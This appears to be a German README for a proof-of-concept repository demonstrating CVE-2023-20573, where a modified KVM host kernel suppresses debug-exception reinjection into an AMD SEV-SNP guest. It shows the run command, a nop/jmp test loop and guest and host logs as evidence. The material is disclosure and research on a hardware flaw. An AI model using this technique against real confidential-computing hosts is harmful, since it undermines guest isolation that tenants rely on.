
Proof-of-concept, das CVE-2023-20573 demonstriert: eine Hardware-Sicherheitslücke in AMD SEV-SNP, die das Unterdrücken von Exception-Reinjection in KVM ermöglicht, was eine Ausnutzung auf Befehlsebene ermöglicht.
Dieses Repository enthält einen VMM, der einen SEV-SNP-Gast mit einem benutzerdefinierten Kernel startet. Der VMM und der Kernel sind eine abgespeckte Version eines meiner Projekte. Auf dem Host ist ein modifizierter Linux-Kernel erforderlich: https://github.com/Freax13/linux/tree/for-amd.
Der Proof of Concept kann wie folgt ausgeführt werden:
cd host
cargo run -p vmm
Dieser Code springt zwischen zwei Anweisungen hin und her:
2:
nop
jmp 2b
Wenn das TF-Flag im FLAGS-Register gesetzt ist, sollten Ausnahmen generiert werden, wobei der Befehlszeiger zwischen den beiden Anweisungen wechselt.
Der Gastkernel definiert einen Ausnahmehandler, der einfach den im Interrupt-Stack-Frame gemeldeten Befehlszeiger protokolliert. Theoretisch sollten die Protokolle so aussehen:
...
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
...
In der Praxis unterdrückt der modifizierte Hostkernel jedoch die Wiedereinbringung, was zu den folgenden Protokollen führt:
...
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:53] last instruction was also nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:59] last instruction was also jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
...
Die unterdrückten Ereignisse werden in den Hostkernel-Protokollen angezeigt:
...
[798678.660473] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.678645] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.680906] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.683491] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.700844] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.712970] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
...
Dies zeigt, dass die Zustellung der #DB-Ausnahme unterdrückt wurde.